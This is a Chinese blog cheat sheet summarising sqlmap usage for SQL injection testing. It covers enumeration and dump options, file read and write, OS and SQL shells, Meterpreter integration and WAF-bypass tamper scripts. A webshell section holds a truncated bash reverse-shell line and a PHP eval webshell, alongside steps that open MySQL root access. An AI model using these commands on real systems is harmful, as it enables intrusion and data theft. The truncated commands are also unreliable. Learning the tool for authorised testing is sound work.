SQLMap使用总结
支持模式:布尔/时间/报错/联合查询/堆查询
支持数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
支持系统 Windows/Linux
更新 python sqlmap.py --update
参数
-v 输出详情
--dbs 数据库名判断
--tables –D "cms" cms库表名判断
-T 表
-D 库
-C 列
--start 数据截取
--stop
--frist
--last
--dump-all 获取所有数据库表内容
--search 寻找特定的库/表/列
--columns -T "cms_users" -D "cms" cms.cms_users表的列名称
--dump -C "password,userid,username" -T "cms_users" -D "cms" B19 对cms.cms_users中的password,userid,username列进行破解(字段爆破)
--dump –D "cms" 对cms数据库暴力破解:cms数据库信息/数据库管理员账号信息破解
--data='id=546' --dbs post注入(get/post都适用)
-r json格式参数
-f 指纹
--users 数据库账号
--passwords 列出hash爆破
--banner 数据库信息
--dbs 数据库枚举
-a 全选
-d 连接数据库 -d "mysql://user:passward@地址:端口/数据库名称"
-m get请求批量测试 sqlmap -m list.txt
-g google搜索出来的结果 (-g "inurl:\".php?id=1\"")\"只是将双引号内的"特殊字符进行转义
-p 指定检查的变量
-s sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数
-t 记录流量文件保存位置
-z 参数助记符(sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u 1.1.1.1/a.asp?id=1可以写成sqlmap -z"bat,random,ign,tec=BEU" -u 1.1.1.1/a.asp?id=1)
-c 加载sqlmap.conf文件相关配置
--param-del 当GET或POST的数据需要用其他字符分割测试参数的时候需要用
--charset 字符编码
--crawl sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度,一般设置为3
--flush-session 清空之前的session
-forms 从-u中的url获取页面中的表单进行测试
--fresh-queries 忽略session查询结果
--hex dump非ASCII字符内容时,将其编码为16进制形式
--parse-errors 分析和现实数据库内建报错信息
--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf
--hpp 绕过waf的有效方法,尤其对asp/iis和asp.net、iis
--answers 自动输入自己想要的答案
–beep 发现sql注入时,发出蜂鸣声
--cleanup 清理sqlmap的UDF(s)和表
--disable-coloring 禁用彩色输出
--gpage 使用指定的Google结果页面
--mobile 模拟智能设备(有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆)
--batch yes
--skip 排除检测变量
--dbms 指定数据库类型
--os 指定操作系统
--cookie cookie
--load-cookies
--drop-set-cookie
* 测试value1的位置是否可注入:python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
--alert 成功注入时发出警告
--level 注入模式等级
--user-agent 浏览器的信息
--random-agent 随机产生user-agent头,从/usr/share/sqlmap/txt/user-agents.txt,收集了大量的浏览器信息
--host
--referer
--headers 每个头单独一行,可以使用\n来换行(名称区分大小写)
--proxy --proxy="http://127.0.0.1:8087"
--proxy-cred="name:pass" 需做身份验证时
--ignore-proxy 忽略系统级代理,通常用于扫描本地网络目标(若在操作系统设置了代理,后续的一切工作都经过代理)
--delay
--csv-del 规定输出到CSV中的分隔符
--dbms-cred DBMS身份验证
--dump-format 定义dump数据的格式(输出的格式可定义为:CSV,HTML,SQLITE)
--eta 计算注入数据的剩余时间
--timeout 默认30秒
--retries http(s)连接超时重传次数,默认3次
--tamper dpkg -L sqlmap | grep tamper 查看脚本
--risk 风险等级
--current-user 当前数据库管理系统的帐号
--current-db 当前数据库的名称
--hostname 机器的主机名
--users 数据库管理系统所有的帐号
--users 数据库管理系统所有的帐号
--privileges 查看所有用户权限,加 -U username 指定用户名(CU 表示当前帐号)
--roles 角色
--dbs 查看所有的数据库
--tables 列举数据库表
--exclude-sysdbs 排除系统数据库
--count 列举数据库表中的字段
--schema -batch 批处理,全部使用默认选项
--is-dba 判断当前的用户是否为管理,是的话会返回True。
--count 获取表中数据个数
valuel/user ->valuel*/user 伪静态
--common-tables 暴力破解表名
--common-columns access系统表无列信息,暴力破解的表在txt/common-tables.txt文件中,列名在txt/common-columns.txt中。可以自行添加
–udf-inject,–shared-lib 用户自定义函数注入
--file-read 读取系统文件,如--file-read="E:/eula.1028.txt"
--file-write/--file-dest 文件上传到数据库服务器 --file-write="123.txt"--file-dest"C:/xampp/htdocs/dvwa/123.txt"
--sql-query 注入方式检测
--sql-shell 写入命令(远程命令执行)
--os-shell
--os-cmd
into outfile 写入web后门(支持ASP、ASP.NET、JSP、PHP)
--string 返回页面真假判断
--not-string
--regexp
--code
--text-only
--titles
--reg-read 对Windows注册表操作
--reg-add
--reg-del
--reg-key
--reg-value
--reg-data
--reg-type
--randomize "可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。
利用正则过滤目标网址"
--scope
--scope 关掉URL参数值编码(默认get方法会对传输内容进行编码,某些web服务器不遵循RFC标准编码,使用原始字符提交数据)
--eval "每次请求前执行指定的python代码(每次请求时根据id参数值,做一次md5后作为hash参数的值。
注入) --eval=""import hashlib;hash=hashlib.md5(id).hexdigest()"""
--threads=THREADS 最大并发线程(盲注时每个线程获取一个字符(7此请求),获取完成后线程结束默认为1,建议不要超过10,否则可能影响站点可用性与--predict-output参数不兼容)
--keep-alive 使用http(s)长连接,性能好,与--proxy参数不兼容
--null-conection 只获取响应页面的大小值,而非页面具体内容能够通常用于盲注判断真/假,降低网络带宽消耗与--text-only参数不兼容(基于页面内容的比较判断真/假)
--predict-output 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率版本名、用户名、密码、Prervileges、role、数据库名称、表名、列名与--threads参数不兼容统计表路径:/usr/share/sqlmap/txt/common-outputs.txt
--invalid-bignum /--invalid-logical 默认情况下sqlmap使用负值使参数失效 id=13->id=-13,bignum使用大数使参数值失效 id=999999
logical 使用布尔判断使值失效 id=3 and 1=2
--no-cast sqlmap在提取数据库数据时,sqlmap默认将所有结果转换为字符串,并且空格替换NULL结果,老版本mysql数据库需要开启此开关
--no-escape 不逃逸,关闭使用char替换字符串功能,出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃避的方法替换字符串,select 'foo' ->select char(102)+char(111)+char(111)
--prefix 加前缀
--sufix 加后缀
--time-sec 设定延迟注入的时间
--union-cols 默认联合查询1-10列,随-level增加最多支持50列
-union-char 联合查询默认使用NULL,极端情况下NUL可能失败,此时可以手动指定数值
--second-order 有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假
--purge-output 清空output文件夹
--smart 当有大量检测目标时,只选择基于错误的检测结果
--wizard 引导填入参数进行注入
--auth-type Basic --auth-cred "user:pass" 如--union-char 123
Basic 基本身份验证
Digest 摘要式身份认证
NTLM NTLM身份验证(windows)
--auth-file="ca.PEM"
--auth-cert 含有私钥的PEM格式证书文件或PEM格式的证书链文件
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
–output-dir 默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp
--os-pwn Meterpreter配合使用
--os-smbrelay
-os-bof
–priv-esc
–msf-path
–tmp-path
风险等级
--risk(risk高会造成update更改数据)
默认1(无害)
2(添加基于事件的测试语句)
3 (增加OR语句的SQL注入测试)
探测方法
--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式 B: Boolean-based blind SQL injection(布尔型注入) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(可联合查询注入) S: Stacked queries SQL injection(可多语句查询注入) T: Time-based blind SQL injection(基于时间延迟注入)
显示模式
-v 、只显示python错误以及严重的信息。 、同时显示基本信息和警告信息。(默认) 、同时显示debug信息。 、同时显示注入的payload。 、同时显示HTTP请求。 、同时显示HTTP响应头。 、同时显示HTTP响应页面。
批量sql注入
-m --scope 使用brup抓取的日志文件,但 日志文件比较大,你只想检测日志中的一个站点或者某一个特征是否存在sql注入 sqlmap -l burp.lpg --scope="(www)?\.baidu\.(com|net|org)" sqlmap -l burp.lpg --scope="(19)?\.168\.20\.(1|10|100)"
SQLMap - 数据库注入 - Access
--tables -暴力破解表名
post请求注入
sqlmap -l log.txt 使用burpsuite log文件 (勾选上options中的Misc中的proxy)
sqlmap -r 1.txt 可以用burpsuite抓包并复制到txt文件(注意请用gedit编辑器,vim会因为格式问题报错)
sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl (默认不是443,在后加其端口)
cookie注入
必须使用--cookie选项/level大于等于2
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入
--cookie cookie
--load-cookies
--drop-set-cookie 拒接Set-Cookie
uesr-agent注入
lever>=3
host注入
level=5
referer注入
level>=3
避免过多的错误请求被屏蔽
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
Webshell获取
()直接连接数据库 sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell ()通过选择32位或者64位操作系统,获取webshell,执行 bash -i >& /dev/tcp/>&1 ()反弹到服务器192.,在实际中192.168.1.3为外网独立IP ()通过echo命令生成shell: echo “<?php@eval($_POST[.php 如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新 命令可参考: use mysql; update userset host = ‘%’ where user = ‘root’; FLUSHPRIVILEGES ; 注:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题 (5)sqlmap -u url--os-shell (6)sqlmap注入点获取webshell sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令获取
udf提权
连接mysql数据打开一个交互shell: sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell select @@version; select @@plugin_dir; d:\\wamp2.\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\"
waf
检测
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf
Waf - 绕过
参数绕过 --random-agent -v WAF配置不当,使用任意浏览器进行绕过 --hpp -v 在ASP.NET/IIS 平台上,使用HTTP 参数污染进行绕过 --delay= --time-sec= 使用长的延时来避免触发WAF的机制,这方式比较耗时 proxy= --proxy-cred=: 使用代理进行注入 自带模块绕过 --tamper=A.py,B.py/--random-agent -v -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py space2comment.py 用/**/代替空格 apostrophemask.py 用utf8代替引号 equaltolike.py like代替等号 space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’) greatest.py 绕过过滤’>’ ,用GREATEST替换大于号 space2hash.py 空格替换为#号,随机字符串以及换行符 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符 appendnullbyte.py 在有效负荷结束位置加载零字节字符编码 ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py (mssql)空格替换为其它空符号 base64encode.py 用base64编码替换 space2mssqlhash.py 替换空格 modsecurityversioned.py 过滤空格,包含完整的查询版本注释 space2mysqlblank.py 空格替换其它空白符号(mysql) between.py 用between替换大于号(>) space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) multiplespaces.py 围绕SQL关键字添加多个空格 space2plus.py 用+替换空格 bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like nonrecursivereplacement.py 双重查询语句,取代SQL关键字 space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 chardoubleencode.py 双url编码(不处理以编码的) unionalltounion.py 替换UNION ALLSELECT UNION SELECT charencode.py url编码 randomcase.py 随机大小写 unmagicquotes.py 宽字符绕过 GPCaddslashes randomcomments.py 用/**/分割sql关键字 charunicodeencode.py 字符串 unicode 编码 securesphere.py 追加特制的字符串 versionedmorekeywords.py 注释绕过 space2comment.py 替换空格字符串(‘‘) 使用注释‘/**/’ halfversionedmorekeywords.py 关键字前加注释"
特殊情况
--common-tables 暴力破解表名(暴力破解的表在txt/common-tables.txt文件中)
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
--common-columns 暴力破解列名
自定义模块
Sqlmap字符转换 "SELECT 全部转换为 /**/SELECT
#!/usr/bin/env python
def tamper(payload, **kwargs):
retVal = payload
if 'SELECT' in retVal:
retVal = retVal.replace('SELECT','/**/SELECT')
return retVal
命名为 select2select 放在sqlmap tamper 目录下面,然后与其他模块一起使用,中间用逗号隔开
SQLMap中使用Meterpreter
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof
局限性
sqlmapapi不支持POST注入
mysql<5.0,没有information schema库
mysql<=5.0,但无权限读取information schema库
微软的access数据集,默认无权读取mysysobjects库
SQLMap使用总结的更多相关文章
- 关于sqlmap的使用
好记性不如烂笔头,记录一下. 带cookie的注入 python sqlmap.py -u "http://www.xxx.com?id=1" --cookie="coo ...
- SQLMap Tamper Scripts Update 04/July/2016
SQLMap Tamper Scripts Update apostrophemask.py Replaces apostrophe character with its UTF-8 full wid ...
- 定制sqlmap tamper脚本
前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了. 测试 在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接 ...
- sqlmap --dns-domain模拟实践
因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入 ...
- 防止sql注入和sqlmap介绍
sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...
- sqlmap 帮助信息
Usage: sqlmap.py [options] 选项: -h, --help 显示基本的帮助信息并退出 -hh 显示高级的帮助信息并退出 --version 显示程序版本号并退出 -v VERB ...
- sqlmap用户手册 | WooYun知识库
sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息. 原文:http://drops.wooyun.org/tips/143 ============ ...
- sqlmap http头注入的一个技巧
sqlmap.py -u "url" --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql --current-d ...
- 利用sqlmap进行mysql提权的小方法(win与liunx通用)
文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap ...
- 4.羽翼sqlmap学习笔记之Post登录框注入
4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...
随机推荐
- 1/n循环节长度
/* * 求1/i的循环节长度的最大值,i<=n */ ; int res[MAXN]; // 循环节长度 int main() { memset(res, , sizeof(res)); in ...
- 《快学scala》读书笔记(2)
第二章 控制结构和函数 1.条件表达式 (1)scala中if/else表达式有值,这个值就是跟在if或者else之后的表达式的值.如: if (x > 0) 1 else -1 这个表达式的 ...
- 【问题解决方案】GitHub上克隆项目到本地
说明: 克隆线上项目到本地,可以直接clone克隆,不必再自己建文件夹啊,初始化啊. 命令: git clone + 想要克隆的项目的地址 END
- 用Node.js原生代码实现静态服务器
---恢复内容开始--- 后端中服务器类型有两种 1. web服务器[ 静态服务器 ] - 举例: wamp里面www目录 - 目的是为了展示页面内容 - 前端: nginx 2. 应用级服务器[ a ...
- HTML水平居中和垂直居中的实现方式
父元素是块元素,根据子元素不同分为以下几种: 1.子元素是行内元素: a.水平居中:在父元素上设置text-align:center; b.垂直居中:在行内子元素上设置行高与父元素相同line-hei ...
- JavaScript ES6 Promise对象
说明 Node.js中,以异步(Async)回调著称,使用了异步,提高了程序的执行效率,但是,代码可读性较差的. 假如有几个异步操作,后一个操作需要前一个操作的执行完毕之后返回的数据才能执行下去,如果 ...
- 输vim /etc/rc.d/init.d/mysqld 报错 …..localdomain.pid
在安装MySQL的过程中出现以下错误: 本人解决方法是: ps aux | grep mysqld 罗列出所有关于mysqld的进程,然后把关于mysqld的进程都kill了.
- 【学习】006数据交换格式与SpringIOC底层实现
课程目标 XML和JSON Java反射机制 手写SpringIOC 什么是数据交换格式 客户端与服务器常用数据交换格式xml.json.html 数据交换格式用场景 移动端(安卓.IOS)通讯方式采 ...
- TypeScript扩展类方法
以数组删除元素为例 javascript数组删除一般是这样 const idx = selectedIDs.findIndex(x => x === deSelected); selectedI ...
- (NOIP)CSP-S 2019前计划
前言 无 1.NOIP原题板刷 NOIP原题板刷 这是一篇咕了的blog 2.牛客 & ACwing & 洛谷 网课学习 收获还是蛮大的,不过我没有写博客 3.codeforces专项 ...